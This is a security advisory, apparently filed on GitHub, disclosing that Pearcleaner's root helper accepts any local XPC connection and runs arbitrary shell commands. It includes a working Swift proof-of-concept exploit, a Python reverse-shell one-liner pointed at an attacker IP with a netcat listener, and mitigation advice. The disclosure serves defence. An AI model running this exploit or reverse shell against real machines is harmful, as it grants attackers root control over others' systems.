-
-
Notifications
You must be signed in to change notification settings - Fork 196
Description
Summary
The PearcleanerHelper is a privileged helper tool bundled with the Pearcleaner application. It is registered and activated only after the user approves a system prompt to allow privileged operations (e.g., when Pearcleaner attempts to delete files in system directories like /var
, it requires root privileges). Upon approval, the helper is configured as a LaunchDaemon and runs with root privileges. Users can confirm its presence under System Settings > General > Login Items > Pearcleaner.app.
The helper registers an XPC service (com.alienator88.Pearcleaner.PearcleanerHelper
) and accepts unauthenticated connections from any local process. It exposes a method that executes arbitrary shell commands. This allows any local unprivileged user to escalate privileges to root once the helper is approved and active.
Affected Versions:
Technical Details
The root cause of this vulnerability lies in the listener(_:shouldAcceptNewConnection:)
this unconditionally accepts all incoming XPC connections by returning true
, without verifying whether the sender is the legitimate main application. This allows any application on the system including malicious ones to interact with the helper.
func listener(_ listener: NSXPCListener, shouldAcceptNewConnection newConnection: NSXPCConnection) -> Bool {
newConnection.exportedInterface = NSXPCInterface(with: HelperToolProtocol.self)
newConnection.exportedObject = self
newConnection.invalidationHandler = { [weak self] in
self?.activeConnections.remove(newConnection)
if self?.activeConnections.isEmpty == true {
exit(0) // Exit when no active connections remain
}
}
activeConnections.insert(newConnection)
newConnection.resume()
return true
}
The exposed method runCommand
uses bash -c
to execute arbitrary strings passed from the XPC client. This is vulnerable to a command injection vulnerability
, allowing the execution of arbitrary code with root privileges. This grants attackers full control over the system.
func runCommand(command: String, withReply reply: @escaping (Bool, String) -> Void) {
let process = Process()
process.executableURL = URL(fileURLWithPath: "/bin/bash")
process.arguments = ["-c", command]
let pipe = Pipe()
process.standardOutput = pipe
process.standardError = pipe
do {
try process.run()
process.waitUntilExit()
} catch {
reply(false, "Failed to run command: \(error.localizedDescription)")
return
}
let data = pipe.fileHandleForReading.readDataToEndOfFile()
let output = String(data: data, encoding: .utf8)?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
let success = (process.terminationStatus == 0) // Check if process exited successfully
reply(success, output.isEmpty ? "No output" : output)
}
This allows any local process to gain root privileges by sending a crafted request.
Impact
Prerequisite:
The user must approve the use of the privileged helper to enable certain application features. This approval is part of normal app usage and typically requires entering admin credentials. The helper is bundled with the application and does not require a separate installation, but macOS requires user consent before it can run with elevated privileges.
Once the helper is active, any local unprivileged user can send a request to the runCommand
method and execute arbitrary commands as root. This leads to full local privilege escalation.
Steps to reproduce the vulnerability
Building and Running the PoC
To build and run the local PoC:
mkdir xpcPoC && cd xpcPoC
swift package init --type executable
By default, the payload executes:whoami && touch /tmp/pwned_by_xpc
This will output root and create a file in /tmp
, demonstrating command execution with elevated privileges.
Proof-of-Concept main.swift
code:
import Foundation
@objc protocol HelperToolProtocol {
func runCommand(command: String, withReply reply: @escaping (Bool, String) -> Void)
}
let connection = NSXPCConnection(machServiceName: "com.alienator88.Pearcleaner.PearcleanerHelper", options: .privileged)
connection.remoteObjectInterface = NSXPCInterface(with: HelperToolProtocol.self)
connection.resume()
let proxy = connection.remoteObjectProxyWithErrorHandler { error in
print("Error while connecting: \(error)")
} as? HelperToolProtocol
print("[*] Connected to the helper")
// code execution as root
proxy?.runCommand(command: "whoami && touch /tmp/pwned_by_xpc", withReply: { success, output in
print("Success: \(success)")
print("Output: \(output)")
exit(0)
})
RunLoop.main.run()
Realistic Attack Flow
Step 1. Initial Access:
The attacker gains local access to the victim’s machine through phishing, social engineering, or by leveraging a guest/local user account.
Step 2. User Installs Pearcleaner and approves the Helper:
The user installs the Pearcleaner application. To perform privileged operations, Pearcleaner prompts the user to approve the activation of its bundled privileged helper tool.
- Activating the helper requires admin credentials. macOS displays a standard authorization dialog, which the user must approve in order for the helper to run with root privileges.
- The helper is signed, bundled with the app, and appears as a legitimate part of the product.
- Once approved, the helper is registered as a LaunchDaemon and runs with elevated privileges (root).
Step 3. Attacker Prepares Payload:
Before the user approves the helper, the attacker places a malicious payload that will later be executed by the helper process once it becomes active.
For example, the attacker can change the payload and inject a reverse shell payload into main.swift
, as shown below:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.18.135\",42069));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);';
To catch the reverse shell, start a Netcat listener on the attacker's machine: nc -lvnp 42069
After updating the main.swift
file to include the reverse shell payload and rebuilding the project, execute the PoC again.
Step 4. Helper Executes Payload as Root:
swift build -c release
.build/release/xpcPoC
When executed by the attacker, the malicious code is run as root, resulting in a full shell on the attacker’s listener:
This confirms that the PoC has achieved local privilege escalation, through legitimate application behavior. The helper component is trusted by the user, runs with elevated privileges, and can be hijacked by an attacker to execute arbitrary code as root.
Mitigation
Implement client side verification mechanism, including code signing
checks and audit token verification
. Use the audit token to verify that the request comes from the correct (expected) app.
Example (Swift):
let auditToken = newConnection.auditToken
let code = SecCodeCreateWithAuditToken(nil, auditToken, &secCode)
SecCodeCopySigningInformation(secCode, [], &signingInfo)
Then check if the bundle ID is correct, for example:
if let bundleID = signingInfo[kSecCodeInfoIdentifier as String] as? String {
if bundleID != "com.alienator88.Pearcleaner" {
return false // Weiger verbinding
}
}
A good practice: you can consider hardcoding the commands in the helper. E.g. whitelist of allowed commands
.
Disclosure
This issue was privately discovered and reported on July 8, 2025 by Kun Peeks.